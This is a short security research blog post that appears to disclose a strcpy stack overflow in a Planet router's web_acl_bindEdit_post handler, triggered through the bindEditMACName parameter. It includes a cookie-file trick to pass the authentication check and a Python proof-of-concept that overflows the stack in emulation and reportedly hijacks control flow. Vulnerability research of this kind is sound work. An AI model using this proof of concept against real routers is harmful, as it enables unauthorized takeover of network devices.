web_acl_bindEdit_post-bindEditMACName-StackOverflow

web_acl_bindEdit_post-bindEditMACName

During my internship at Qi An Xin Tiangong Lab, I discovered a stack overflow vulnerability in the Planet router.

By analyzing the dispatcher file in the bin directory, I found that the function web_acl_bindEdit_post contains a stack overflow vulnerability.

The stack overflow can be triggered by bindEditMACName key value, which leads to a strcpy stack overflow.

image-20250321152223389

In the main function, there is an account authentication detection. We create a cookie_0 in the tmp directory, with the content of “20 0 0”, and its function is to create a cookie with sufficient permissions to access this route.

1
20 0 0

可以看到代码中存在由strcpy造成的栈溢出

How can we simulate a router

The content of the poc.py file is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os


a = 0xC20
var_name = "bindEditMACName"
b = 'a' * 0x300
c = "bindEditMAC=111"

poc_content = f"&cmd={a}&{var_name}={b}&{c}"
with open('poc', 'w') as f:
f.write(poc_content)

command = (
"sudo chroot . ./qemu-mips-static "
"-E REQUEST_METHOD=POST "
"-E HTTP_COOKIE='hid=0' "
"-L ./lib "
"-g 1234 "
"./dispatcher.cgi "
"< poc"
)


os.system(command)



Attack result

image-20250416160503196

image-20250416160624802

image-20250416160732429

Through the above image, we can see that we have overflowed to 0x278 and successfully hijacked the control flow. If necessary, more can be overflowed.


web_acl_bindEdit_post-bindEditMACName-StackOverflow
https://lafdrew.github.io/2025/04/18/web-acl-bindEdit-post-bindEditMACName-StackOverflow/
Author
John Doe
Posted on
April 18, 2025
Licensed under